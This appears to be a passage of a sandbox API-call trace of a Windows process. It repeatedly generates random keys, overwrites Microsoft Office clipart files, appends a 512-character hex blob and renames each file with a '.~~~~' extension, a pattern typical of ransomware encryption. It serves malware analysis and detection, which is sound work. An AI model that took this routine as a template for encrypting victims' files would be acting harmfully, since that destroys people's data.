	[0090.969] GetLastError () returned 0x0
	[0090.971] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff81c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.971] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x7e4, lpOverlapped=0x0) returned 1
	[0090.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.971] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.971] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.971] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.971] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.971] CloseHandle (hObject=0x128) returned 1
	[0090.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0090.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.~~~~")) returned 1
	[0090.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0090.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.972] GetLastError () returned 0x0
	[0090.972] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d6e70) returned 1
	[0090.973] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.973] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0090.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.973] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21096344071) returned 1
	[0090.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa00164f0, dwHighDateTime=0x1d60e1e)) 
	[0090.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381e68
	[0090.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381e68 | out: hHeap=0x300000) returned 1
	[0090.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0090.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382c58
	[0090.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0090.974] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.974] GetLastError () returned 0x0
	[0090.974] GetLastError () returned 0x0
	[0090.974] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.974] GetLastError () returned 0x0
	[0090.974] GetLastError () returned 0x0
	[0090.976] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff69c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.976] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x964, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x964, lpOverlapped=0x0) returned 1
	[0090.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.977] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.977] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.977] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.977] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.977] CloseHandle (hObject=0x128) returned 1
	[0090.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d15c0
	[0090.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.~~~~")) returned 1
	[0090.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.978] GetLastError () returned 0x0
	[0090.978] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d6e70) returned 1
	[0090.979] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.979] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0090.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.979] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21096907728) returned 1
	[0090.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa00164f0, dwHighDateTime=0x1d60e1e)) 
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381ed8
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381ed8 | out: hHeap=0x300000) returned 1
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d15c0
	[0090.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382cf0
	[0090.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.979] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.980] GetLastError () returned 0x0
	[0090.980] GetLastError () returned 0x0
	[0090.980] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.980] GetLastError () returned 0x0
	[0090.980] GetLastError () returned 0x0
	[0090.982] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff748, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.982] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x8b8, lpOverlapped=0x0) returned 1
	[0090.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.983] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.983] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.983] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.983] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.983] CloseHandle (hObject=0x128) returned 1
	[0090.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d15c0
	[0090.984] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01172_.wmf.~~~~")) returned 1
	[0090.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.985] GetLastError () returned 0x0
	[0090.986] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d6e70) returned 1
	[0090.987] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0090.987] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0090.987] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0090.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.987] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21097934346) returned 1
	[0090.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa003c650, dwHighDateTime=0x1d60e1e)) 
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381f10
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0090.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381f10 | out: hHeap=0x300000) returned 1
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d15c0
	[0090.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.990] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382e20
	[0090.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.990] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.990] GetLastError () returned 0x0
	[0090.991] GetLastError () returned 0x0
	[0090.991] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.991] GetLastError () returned 0x0
	[0090.991] GetLastError () returned 0x0
	[0090.993] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff8f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.993] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x70c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x70c, lpOverlapped=0x0) returned 1
	[0090.994] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.994] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.994] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.994] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.994] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.994] CloseHandle (hObject=0x128) returned 1
	[0090.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d15c0
	[0090.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.~~~~")) returned 1
	[0090.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0090.995] GetLastError () returned 0x0
	[0090.996] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d6e70) returned 1
	[0090.997] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0090.997] CryptReleaseContext (hProv=0x28d6e70, dwFlags=0x0) returned 1
	[0090.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0090.997] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21098704606) returned 1
	[0090.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa003c650, dwHighDateTime=0x1d60e1e)) 
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381f48
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0090.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381f48 | out: hHeap=0x300000) returned 1
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d15c0
	[0090.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x382eb8
	[0090.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d15c0 | out: hHeap=0x300000) returned 1
	[0090.998] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0090.998] GetLastError () returned 0x0
	[0090.998] GetLastError () returned 0x0
	[0090.998] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0090.998] GetLastError () returned 0x0
	[0090.998] GetLastError () returned 0x0
	[0091.097] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff8a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.097] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x760, lpOverlapped=0x0) returned 1
	[0091.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0091.097] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.097] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.097] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.097] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.098] CloseHandle (hObject=0x128) returned 1
	[0091.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.~~~~")) returned 1
	[0091.098] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x28d76f0) returned 1
	[0091.099] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.099] CryptReleaseContext (hProv=0x28d76f0, dwFlags=0x0) returned 1
	[0091.100] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0091.100] GetLastError () returned 0x0
	[0091.102] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb584, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.102] WriteFile (in: hFile=0x128, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x4a7c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x4a7c, lpOverlapped=0x0) returned 1
	[0091.103] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.103] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.103] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.103] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.103] CloseHandle (hObject=0x128) returned 1
	[0091.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
